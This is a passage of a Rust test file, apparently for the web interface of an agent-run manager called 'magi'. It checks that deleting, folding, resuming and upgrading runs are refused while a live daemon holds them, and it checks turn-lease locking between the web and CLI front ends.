15934 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
15935 assert_eq!(res.status, 409);
15936 assert!(
15937 res.json()["error"]
15938 .as_str()
15939 .unwrap()
15940 .contains("live daemon")
15941 );
15942 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
15943
15944 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
15950 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15951 .expect("leave a stale heartbeat");
15952 let mut t3 = Task::new(
15953 "Task 3".to_owned(),
15954 "Instruction 3".to_owned(),
15955 PathBuf::from("/repo"),
15956 Source::Human,
15957 );
15958 t3.status = TaskStatus::Running;
15959 q.put(&mut t3).expect("put t3");
15960 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
15961 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
15962 assert_eq!(res.status, 204);
15963 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
15964 assert!(
15965 q.claim(&t3.id).is_ok(),
15966 "the stale lock went with it, so the id is claimable again"
15967 );
15968
15969 let res = fx.delete("/api/queue/nonexistent").await;
15971 assert_eq!(res.status, 404);
15972 }
15973
15974 #[tokio::test]
15975 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
15976 let fx = Fixture::start().await;
15977 let runs = fx.runs();
15978
15979 let run_id = "20260901-000000-fold";
15981 let mut state = RunState::new(
15982 PathBuf::from("/repo"),
15983 "main".to_owned(),
15984 "abc".to_owned(),
15985 "instruction".to_owned(),
15986 Config::default(),
15987 );
15988 state.id = run_id.to_owned();
15989 state.status = RunStatus::Merged;
15990 state.candidates.push(crate::run::Candidate {
15991 index: 0,
15992 label: 'A',
15993 agent: "a".to_owned(),
15994 branch: "b".to_owned(),
15995 worktree: PathBuf::from("/w"),
15996 summary: String::new(),
15997 stat: String::new(),
15998 files: 1,
15999 commits: 1,
16000 empty: false,
16001 failed: None,
16002 verified_noop: None,
16003 duration_ms: 0,
16004 folded: true,
16005 });
16006 let dir = runs.join(run_id);
16007 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
16008 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
16009 .expect("write artifact");
16010 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
16011 .expect("write run.json");
16012
16013 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
16015 assert_eq!(res.status, 204);
16016 assert!(res.body.is_empty(), "204 has no body");
16017 assert!(!dir.exists(), "run directory and artifacts must be deleted");
16018
16019 let run_running = "20260901-000000-rung";
16024 write_run(&runs, run_running, RunStatus::Prep);
16025 let mut beat = crate::daemon::Status::new();
16026 beat.current = vec![crate::daemon::Current {
16027 task: "20260901-000000-task".to_owned(),
16028 run: run_running.to_owned(),
16029 }];
16030 beat.updated_at = jiff::Timestamp::now();
16031 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16032 .expect("publish a heartbeat");
16033 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
16034 assert_eq!(res.status, 409);
16035 assert!(
16036 res.json()["error"]
16037 .as_str()
16038 .unwrap()
16039 .contains("live daemon"),
16040 "the refusal must say who is holding it"
16041 );
16042 assert!(
16043 runs.join(run_running).exists(),
16044 "a run in flight keeps its directory"
16045 );
16046
16047 let run_unfolded = "20260901-000000-unfd";
16049 let mut state2 = RunState::new(
16050 PathBuf::from("/repo"),
16051 "main".to_owned(),
16052 "abc".to_owned(),
16053 "instruction".to_owned(),
16054 Config::default(),
16055 );
16056 state2.id = run_unfolded.to_owned();
16057 state2.status = RunStatus::Ready;
16058 state2.candidates.push(crate::run::Candidate {
16059 index: 0,
16060 label: 'A',
16061 agent: "a".to_owned(),
16062 branch: "b".to_owned(),
16063 worktree: PathBuf::from("/w"),
16064 summary: String::new(),
16065 stat: String::new(),
16066 files: 1,
16067 commits: 1,
16068 empty: false,
16069 failed: None,
16070 verified_noop: None,
16071 duration_ms: 0,
16072 folded: false,
16073 });
16074 let dir2 = runs.join(run_unfolded);
16075 std::fs::create_dir_all(&dir2).expect("create dir2");
16076 std::fs::write(
16077 dir2.join("run.json"),
16078 serde_json::to_string(&state2).unwrap(),
16079 )
16080 .expect("write run.json");
16081
16082 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
16083 assert_eq!(res.status, 409);
16084 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
16085 assert!(dir2.exists(), "unfolded run directory is kept");
16086
16087 let res = fx.delete("/api/runs/nonexistent").await;
16089 assert_eq!(res.status, 404);
16090 }
16091
16092 #[test]
16101 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
16102 let start = APP_JS
16103 .find("function renderStats() {")
16104 .expect("renderStats");
16105 let end = start
16106 + APP_JS[start..]
16107 .find("function statsTile(")
16108 .expect("the next top-level function");
16109 let body = &APP_JS[start..end];
16110
16111 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
16112 let gate_end = gate_start
16113 + body[gate_start..]
16114 .find("}\n renderStatsQueue")
16115 .expect("the gate's own closing brace, right before the unconditional call");
16116 let gated = &body[gate_start..gate_end];
16117
16118 assert_eq!(
16119 body.matches("renderStatsQueue(").count(),
16120 1,
16121 "renderStats must call renderStatsQueue exactly once: {body}"
16122 );
16123 assert!(
16124 !gated.contains("renderStatsQueue"),
16125 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
16126 run-derived panels on an empty run history - the queue panel has to render \
16127 regardless: {gated}"
16128 );
16129 }
16130
16131 #[test]
16132 fn web_ui_delete_contract_in_front_end() {
16133 assert!(APP_JS.contains("deleteRun:"));
16135 assert!(APP_JS.contains("deleteTask:"));
16136
16137 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
16139 ..APP_JS.find("function renderRuns").unwrap()];
16140 assert!(!run_cards_slice.to_lowercase().contains("delete"));
16141
16142 assert!(APP_JS.contains("renderRunDelete"));
16144 assert!(APP_JS.contains("runDeleteReason"));
16145 assert!(APP_JS.contains("magi fold"));
16146 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
16147
16148 assert!(APP_JS.contains("cancel.focus"));
16150 assert!(APP_JS.contains("armedRunDelete"));
16151 assert!(APP_JS.contains("renderTaskDeleteBox"));
16152 assert!(APP_JS.contains("armed${cap(key)}"));
16153
16154 assert!(APP_JS.contains("disabled: status === \"running\""));
16156 }
16157
16158 #[test]
16178 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
16179 let build = APP_JS
16180 .find("function createRunCard")
16181 .expect("createRunCard exists");
16182 let update = APP_JS
16183 .find("function updateRunCard")
16184 .expect("updateRunCard exists");
16185 let end = APP_JS
16186 .find("function renderRuns")
16187 .expect("renderRuns exists");
16188
16189 let builder = &APP_JS[build..update];
16191 let open = builder.find("refs = {").expect("createRunCard sets refs");
16192 let literal = &builder[open + "refs = {".len()..];
16193 let close = literal.find('}').expect("the refs literal is closed");
16194 let published: HashSet<&str> = literal[..close]
16195 .split(',')
16196 .filter_map(|entry| entry.split(':').next())
16198 .map(str::trim)
16199 .filter(|name| !name.is_empty())
16200 .collect();
16201 assert!(
16202 published.len() > 5,
16203 "the refs literal did not parse into names: {published:?}"
16204 );
16205
16206 let mut used: Vec<&str> = Vec::new();
16209 let updaters = &APP_JS[update..end];
16210 for (at, _) in updaters.match_indices("r.") {
16211 let before = updaters[..at].chars().next_back();
16214 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
16215 continue;
16216 }
16217 let rest = &updaters[at + 2..];
16218 let len = rest
16219 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
16220 .unwrap_or(rest.len());
16221 if len > 0 {
16222 used.push(&rest[..len]);
16223 }
16224 }
16225 assert!(
16226 used.len() > 5,
16227 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
16228 );
16229
16230 let missing: Vec<&str> = used
16231 .iter()
16232 .copied()
16233 .filter(|name| !published.contains(name))
16234 .collect();
16235 assert!(
16236 missing.is_empty(),
16237 "a run card's updater reaches for {missing:?}, which `createRunCard` \
16238 never put in `refs` - every card will throw and the list will \
16239 render empty under a count line that says otherwise. Published: \
16240 {published:?}"
16241 );
16242 }
16243
16244 #[tokio::test]
16245 async fn folding_from_the_phone_reports_what_it_removed() {
16246 let fx = Fixture::start().await;
16247 let runs = fx.runs();
16248
16249 let id = "20260901-000000-fold";
16253 write_run(&runs, id, RunStatus::Stalled);
16254 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16255 assert_eq!(res.status, 200);
16256 assert_eq!(res.json()["removed_count"], 0);
16257 assert_eq!(res.json()["run"], id);
16258 assert!(
16259 runs.join(id).exists(),
16260 "a fold keeps the run's record; only the worktrees go"
16261 );
16262 }
16263
16264 #[tokio::test]
16265 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
16266 let fx = Fixture::start().await;
16267 let runs = fx.runs();
16268 let wt = fx.home.path().join("wt").join("magi").join("dead");
16269 let id = "20260901-000000-dead";
16270 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16271 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16272 std::fs::create_dir_all(&wt).expect("worktree dir");
16273
16274 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16275 assert_eq!(res.status, 200, "{}", res.body);
16276 assert!(
16277 res.json()["removed_count"].as_u64().unwrap() > 0,
16278 "the worktree this build could not read a state for still went"
16279 );
16280 assert!(
16281 !runs.join(id).exists(),
16282 "an unreadable run has no candidate list to fold selectively, so \
16283 the whole record goes - same as `magi fold` on the CLI"
16284 );
16285 }
16286
16287 #[tokio::test]
16288 async fn deleting_an_unreadable_run_removes_it_wholesale() {
16289 let fx = Fixture::start().await;
16290 let runs = fx.runs();
16291 let wt = fx.home.path().join("wt").join("magi").join("gone");
16292 let id = "20260901-000000-gone";
16293 std::fs::create_dir_all(runs.join(id)).expect("run dir");
16294 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
16295 std::fs::create_dir_all(&wt).expect("worktree dir");
16296
16297 let res = fx.delete(&format!("/api/runs/{id}")).await;
16298 assert_eq!(res.status, 204, "{}", res.body);
16299 assert!(!runs.join(id).exists(), "the broken record is gone");
16300 assert!(!wt.exists(), "its worktree is gone too");
16301 }
16302
16303 #[tokio::test]
16304 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
16305 let fx = Fixture::start().await;
16306 let runs = fx.runs();
16307 let id = "20260901-000000-live";
16308 write_run(&runs, id, RunStatus::Implementing);
16309
16310 let mut beat = crate::daemon::Status::new();
16311 beat.current = vec![crate::daemon::Current {
16312 task: "20260901-000000-task".to_owned(),
16313 run: id.to_owned(),
16314 }];
16315 beat.updated_at = jiff::Timestamp::now();
16316 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16317 .expect("publish a heartbeat");
16318
16319 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
16320 assert_eq!(res.status, 409);
16321 assert!(
16322 res.json()["error"]
16323 .as_str()
16324 .unwrap()
16325 .contains("live daemon"),
16326 "folding under a running agent would pull its worktree away"
16327 );
16328 }
16329
16330 #[tokio::test]
16331 async fn fold_merged_requires_a_pr_url() {
16332 let fx = Fixture::start().await;
16333 let runs = fx.runs();
16334 let id = "20260901-000000-nourl";
16335 write_run(&runs, id, RunStatus::Blocked);
16336
16337 let res = fx
16338 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
16339 .await;
16340 assert_eq!(res.status, 400, "{}", res.body);
16341
16342 let blank = fx
16343 .post(
16344 &format!("/api/runs/{id}/fold-merged"),
16345 Some(r#"{"pr_url":" "}"#),
16346 )
16347 .await;
16348 assert_eq!(blank.status, 400, "{}", blank.body);
16349 }
16350
16351 #[tokio::test]
16352 async fn fold_merged_is_404_for_an_unknown_run() {
16353 let fx = Fixture::start().await;
16354 let res = fx
16355 .post(
16356 "/api/runs/nosuchrun/fold-merged",
16357 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16358 )
16359 .await;
16360 assert_eq!(res.status, 404, "{}", res.body);
16361 }
16362
16363 #[tokio::test]
16364 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
16365 let fx = Fixture::start().await;
16366 let runs = fx.runs();
16367 let id = "20260901-000000-livemerge";
16368 write_run(&runs, id, RunStatus::Blocked);
16369
16370 let mut beat = crate::daemon::Status::new();
16371 beat.current = vec![crate::daemon::Current {
16372 task: "20260901-000000-task".to_owned(),
16373 run: id.to_owned(),
16374 }];
16375 beat.updated_at = jiff::Timestamp::now();
16376 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16377 .expect("publish a heartbeat");
16378
16379 let res = fx
16380 .post(
16381 &format!("/api/runs/{id}/fold-merged"),
16382 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16383 )
16384 .await;
16385 assert_eq!(res.status, 409, "{}", res.body);
16386 assert!(
16387 res.json()["error"]
16388 .as_str()
16389 .unwrap()
16390 .contains("live daemon"),
16391 "correcting a run's merge underneath a running agent would race \
16392 whatever it is doing to the same `status`/`merge` fields"
16393 );
16394 }
16395
16396 #[tokio::test]
16401 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
16402 let fx = Fixture::start().await;
16403 let runs = fx.runs();
16404 let id = "20260901-000000-unconfirmed";
16405 write_run(&runs, id, RunStatus::Blocked);
16406
16407 let res = fx
16408 .post(
16409 &format!("/api/runs/{id}/fold-merged"),
16410 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
16411 )
16412 .await;
16413 assert_eq!(res.status, 400, "{}", res.body);
16414 assert_eq!(
16415 read_run(&runs, id).unwrap().status,
16416 RunStatus::Blocked,
16417 "a pull request that could not be confirmed merged must leave \
16418 the run exactly where it was"
16419 );
16420 }
16421
16422 #[tokio::test]
16423 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
16424 let fx = Fixture::start().await;
16425 let runs = fx.runs();
16426
16427 for (status, word) in [
16433 (RunStatus::Merged, "merged"),
16434 (RunStatus::Ready, "ready"),
16435 (RunStatus::Failed, "failed"),
16436 ] {
16437 let id = format!("20260901-000000-{}", &word[..4]);
16438 write_run(&runs, &id, status);
16439 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
16440 assert_eq!(res.status, 409, "{word} must not be resumable");
16441 let err = res.json()["error"].as_str().unwrap().to_owned();
16442 assert!(err.contains(word), "the refusal names the status: {err}");
16443 }
16444
16445 let mid = "20260901-000000-midf";
16450 write_run(&runs, mid, RunStatus::Reviewing);
16451 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
16452 assert_eq!(res.status, 202, "an interrupted run is resumable");
16453 }
16454
16455 #[tokio::test]
16456 async fn resume_is_refused_while_the_loop_is_running() {
16457 let fx = Fixture::start().await;
16458 let runs = fx.runs();
16459 let stalled = "20260901-000000-stal";
16460 write_run(&runs, stalled, RunStatus::Stalled);
16461
16462 let mut beat = crate::daemon::Status::new();
16466 beat.current = vec![crate::daemon::Current {
16467 task: "20260901-000000-task".to_owned(),
16468 run: "20260901-000000-othr".to_owned(),
16469 }];
16470 beat.updated_at = jiff::Timestamp::now();
16471 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16472 .expect("publish a heartbeat");
16473
16474 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
16475 assert_eq!(res.status, 409);
16476 let err = res.json()["error"].as_str().unwrap().to_owned();
16477 assert!(err.contains("othr"), "it names what the loop is on: {err}");
16478 assert!(err.contains("stop it first"), "{err}");
16479 }
16480
16481 #[test]
16482 fn a_run_cannot_be_resumed_twice_at_once() {
16483 let home = TempDir::new().expect("temp home");
16484 let ui = Ui::new(
16485 Queue::at(home.path().join("queue")),
16486 Questions::at(home.path().join("questions")),
16487 Talks::at(home.path().join("talks")),
16488 home.path().join("runs"),
16489 home.path().to_path_buf(),
16490 PathBuf::from("/repo"),
16491 )
16492 .with_worktrees_root(home.path().join("wt"));
16493 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
16494 let again = ui.begin_resume("20260901-000000-once");
16495 assert!(again.is_err(), "a second tap must not start a second graph");
16496 drop(first);
16497 assert!(
16498 ui.begin_resume("20260901-000000-once").is_ok(),
16499 "and the claim is released when the attempt ends"
16500 );
16501 }
16502
16503 #[test]
16504 fn talk_thinking_tracks_only_its_held_turn_claim() {
16505 let home = TempDir::new().expect("temp home");
16506 let ui = Ui::new(
16507 Queue::at(home.path().join("queue")),
16508 Questions::at(home.path().join("questions")),
16509 Talks::at(home.path().join("talks")),
16510 home.path().join("runs"),
16511 home.path().to_path_buf(),
16512 PathBuf::from("/repo"),
16513 )
16514 .with_worktrees_root(home.path().join("wt"));
16515 let id = "20260901-000000-once";
16516
16517 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
16518 let turn = ui.begin_talk_turn(id).expect("claim turn");
16519 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
16520 assert!(
16521 !ui.is_thinking("20260901-000000-other"),
16522 "one talk's turn does not make another talk busy"
16523 );
16524 drop(turn);
16525 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
16526 }
16527
16528 #[test]
16529 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
16530 let home = TempDir::new().expect("temp home");
16531 let talks = Talks::at(home.path().join("talks"));
16532 let ui = Ui::new(
16533 Queue::at(home.path().join("queue")),
16534 Questions::at(home.path().join("questions")),
16535 talks.clone(),
16536 home.path().join("runs"),
16537 home.path().to_path_buf(),
16538 PathBuf::from("/repo"),
16539 )
16540 .with_worktrees_root(home.path().join("wt"));
16541 let id = "20260901-000000-cross";
16542
16543 let other = Talks::at(home.path().join("talks"))
16544 .claim_turn(id)
16545 .expect("claim")
16546 .expect("the other process wins");
16547 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
16548 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
16549 assert!(
16550 matches!(
16551 ui.begin_talk_turn_unless_pending(id).expect("start"),
16552 TalkTurnStart::Foreign
16553 ),
16554 "a foreign holder is refused, not queued behind"
16555 );
16556 assert!(
16557 !ui.talk_turns.lock().unwrap().live.contains(id),
16558 "a refused claim leaves no in-process entry behind"
16559 );
16560 drop(other);
16561 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
16562 assert!(talks.turn_held(id), "the web turn holds the lease");
16563 drop(turn);
16564 assert!(
16565 !talks.turn_held(id),
16566 "dropping the guard releases the lease"
16567 );
16568 }
16569
16570 fn consult_question(ui: &Ui) -> Question {
16571 let mut q = Question::new(
16572 "20260901-000000-consult".to_owned(),
16573 "implement".to_owned(),
16574 "impl-A".to_owned(),
16575 "Which backend?".to_owned(),
16576 String::new(),
16577 vec!["SQLite".to_owned(), "Redis".to_owned()],
16578 );
16579 ui.questions.put(&mut q).expect("question");
16580 q
16581 }
16582
16583 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
16584 (
16585 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
16586 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
16587 )
16588 }
16589
16590 #[tokio::test]
16591 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
16592 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16593 let q = consult_question(&ui);
16594 let talk = ui.talks.get(&id).expect("talk");
16595 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
16596 let before = consult_snapshot(&ui, &q, &id);
16597 let cli_talks = Talks::at(ui.home.join("talks"));
16598 assert_eq!(
16599 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
16600 .await
16601 .expect("CLI starter"),
16602 crate::consult::Started::Busy
16603 );
16604 assert_eq!(consult_snapshot(&ui, &q, &id), before);
16605 assert!(ui.is_thinking(&id));
16606 drop(guard);
16607 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
16608 }
16609
16610 #[tokio::test]
16611 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
16612 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
16613 let q = consult_question(&ui);
16614 let talk = ui.talks.get(&id).expect("talk");
16615 let started = tmp.path().join("started");
16616 let release = tmp.path().join("release");
16617 let script = tmp.path().join("consult-agent.sh");
16618 std::fs::write(
16619 &script,
16620 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
16621 )
16622 .expect("script");
16623 let mut cfg = stub_config();
16624 cfg.agents[0].id = "mock".to_owned();
16625 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
16626 cfg.agents[0].env = std::collections::BTreeMap::from([
16627 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
16628 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
16629 ]);
16630 let questions = ui.questions.clone();
16631 let cli_talks = Talks::at(ui.home.join("talks"));
16632 let cli_q = q.clone();
16633 let turn = tokio::spawn(async move {
16634 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
16635 });
16636 let ready = tokio::time::timeout(Duration::from_secs(30), async {
16637 while !started.exists() {
16638 tokio::time::sleep(Duration::from_millis(10)).await;
16639 }
16640 })
16641 .await;
16642 let refusal = if ready.is_ok() {
16645 let before = consult_snapshot(&ui, &q, &id);
16646 let result = talk_say(
16647 State(Arc::clone(&ui)),
16648 Path(id.clone()),
16649 Ok(Json(NewTalkTurn {
16650 text: "another message".to_owned(),
16651 attachments: Vec::new(),
16652 })),
16653 )
16654 .await;
16655 Some((result, before, consult_snapshot(&ui, &q, &id)))
16656 } else {
16657 None
16658 };
16659 std::fs::write(&release, "").expect("release agent");
16660 let done = turn.await.expect("join CLI turn");
16661 ready.expect("agent started before deadline");
16662 let (result, before, after) = refusal.expect("web request");
16663 let error = result.expect_err("web must refuse the CLI's turn");
16664 assert_eq!(error.status, StatusCode::CONFLICT);
16665 assert!(error.message.contains("a turn is already running"));
16666 assert_eq!(
16667 after, before,
16668 "refusal preserves question, draft and history"
16669 );
16670 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
16671 let guard = ui
16672 .begin_talk_turn(&id)
16673 .expect("web claim")
16674 .expect("free again");
16675 drop(guard);
16676 }
16677
16678 #[test]
16679 fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
16680 let home = TempDir::new().expect("temp home");
16681 let talks = Talks::at(home.path().join("talks"));
16682 let ui = Ui::new(
16683 Queue::at(home.path().join("queue")),
16684 Questions::at(home.path().join("questions")),
16685 talks.clone(),
16686 home.path().join("runs"),
16687 home.path().to_path_buf(),
16688 PathBuf::from("/repo"),
16689 )
16690 .with_worktrees_root(home.path().join("wt"));
16691 let id = "20260901-000000-order";
16692 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
16693 let slots = ui.talk_turns.lock().unwrap();
16695 let dropper = std::thread::spawn(move || drop(turn));
16696 let start = std::time::Instant::now();
16697 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
16698 std::thread::sleep(Duration::from_millis(5));
16699 }
16700 assert!(!talks.turn_held(id), "the lease is released first");
16701 assert!(slots.live.contains(id), "the slot is still held meanwhile");
16702 drop(slots);
16703 dropper.join().expect("join");
16704 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
16705 }
16706
16707 #[tokio::test]
16708 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
16709 let fx = Fixture::start().await;
16710 let mut beat = crate::daemon::Status::new();
16714 beat.pid = 4321;
16715 beat.updated_at = jiff::Timestamp::now();
16716 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
16717 .expect("publish a heartbeat");
16718
16719 let res = fx.post("/api/upgrade", None).await;
16720 assert_eq!(res.status, 409);
16721 let err = res.json()["error"].as_str().unwrap().to_owned();
16722 assert!(err.contains("4321"), "the refusal names the owner: {err}");
16723 assert!(err.contains("old one against the same queue"), "{err}");
16724 }
16725
16726 #[test]
16733 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
16734 assert!(!should_spawn_recheck(&crate::config::Update {
16735 mode: UpdateMode::Off,
16736 interval: None,
16737 }));
16738
16739 unsafe {
16742 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16743 }
16744 let killed = should_spawn_recheck(&crate::config::Update {
16745 mode: UpdateMode::Notify,
16746 interval: None,
16747 });
16748 unsafe {
16749 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16750 }
16751 assert!(
16752 !killed,
16753 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
16754 one-time startup check"
16755 );
16756
16757 assert!(should_spawn_recheck(&crate::config::Update {
16758 mode: UpdateMode::Notify,
16759 interval: None,
16760 }));
16761 }
16762
16763 #[test]
16769 fn recheck_poll_period_tracks_a_short_configured_interval() {
16770 let short = crate::config::Update {
16771 mode: UpdateMode::Notify,
16772 interval: Some("1m".to_owned()),
16773 };
16774 let period = recheck_poll_period(&short);
16775 assert!(
16776 period <= Duration::from_secs(30),
16777 "a one-minute interval must wake the task far sooner than the \
16778 default ceiling, or the deck would not notice within the \
16779 interval the operator configured: got {period:?}"
16780 );
16781
16782 let default = crate::config::Update {
16783 mode: UpdateMode::Notify,
16784 interval: None,
16785 };
16786 assert_eq!(
16787 recheck_poll_period(&default),
16788 UPDATE_RECHECK_POLL_MAX,
16789 "the default day-long interval should poll at the (capped) \
16790 ceiling rather than needlessly often"
16791 );
16792 }
16793
16794 #[test]
16802 fn recheck_skips_the_network_before_the_interval_elapses() {
16803 let dir = TempDir::new().expect("temp dir");
16804 let path = dir.path().join("state.json");
16805 let state = kaishin::UpdateCheckState {
16806 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
16807 last_known_latest: None,
16808 last_known_url: None,
16809 };
16810 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
16811
16812 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
16813 assert!(
16814 !update_recheck_due(&checker, None),
16815 "a check made moments ago must not be repeated before the \
16816 configured interval elapses"
16817 );
16818 }
16819
16820 #[test]
16826 fn recheck_defers_to_an_upgrade_already_in_flight() {
16827 let dir = TempDir::new().expect("temp dir");
16828 let path = dir.path().join("state.json");
16829 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
16830 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
16831
16832 assert!(
16833 !update_recheck_due(&checker, Some(&progress)),
16834 "a recheck must not run while an upgrade this deck started is \
16835 still moving"
16836 );
16837 }
16838
16839 #[tokio::test]
16840 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
16841 unsafe {
16853 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
16854 }
16855 let fx = Fixture::start().await;
16856 let res = fx.post("/api/upgrade", None).await;
16857 unsafe {
16858 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
16859 }
16860 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
16861 let body = res.json();
16862 assert!(body["to"].is_null(), "there was no release to move to");
16863 assert!(body["parked"].is_null(), "and nothing was parked");
16864 assert!(
16865 body["detail"]
16866 .as_str()
16867 .unwrap()
16868 .contains("disabled by MAGI_NO_AUTOUPDATE"),
16869 "{body:?}"
16870 );
16871 }
16872
16873 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
16874 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
16875 p.stage = stage;
16876 p
16877 }
16878
16879 #[test]
16880 fn busy_stages_match_the_ui_set() {
16881 use crate::updater::Stage;
16882 assert!(APP_JS.contains(
16883 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
16884 ));
16885 for s in [
16886 Stage::Downloading,
16887 Stage::Replaced,
16888 Stage::Parking,
16889 Stage::Restarting,
16890 ] {
16891 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
16892 }
16893 for s in [Stage::Done, Stage::Failed] {
16894 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
16895 }
16896 assert!(upgrade_in_motion(None).is_none());
16897 }
16898
16899 #[tokio::test]
16900 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
16901 use crate::updater::Stage;
16902 for stage in [
16903 Stage::Downloading,
16904 Stage::Replaced,
16905 Stage::Parking,
16906 Stage::Restarting,
16907 ] {
16908 let fx = Fixture::start().await;
16909 let seeded = seeded_progress(stage);
16910 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
16911 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16912 .expect("read");
16913
16914 let res = fx.post("/api/upgrade", None).await;
16915 assert_eq!(res.status, 409, "{stage:?}");
16916 let err = res.json()["error"].as_str().unwrap().to_owned();
16917 assert!(err.contains("already in progress"), "{err}");
16918 assert!(err.contains(stage.as_str()), "{err}");
16919
16920 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16921 .expect("read");
16922 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
16923 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
16924 .unwrap_or_default();
16925 assert!(!log.contains("signalling HANDOVER"), "{log}");
16926 }
16927 }
16928
16929 #[tokio::test]
16930 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
16931 use crate::updater::Stage;
16932 let repo = TempDir::new().expect("repo dir");
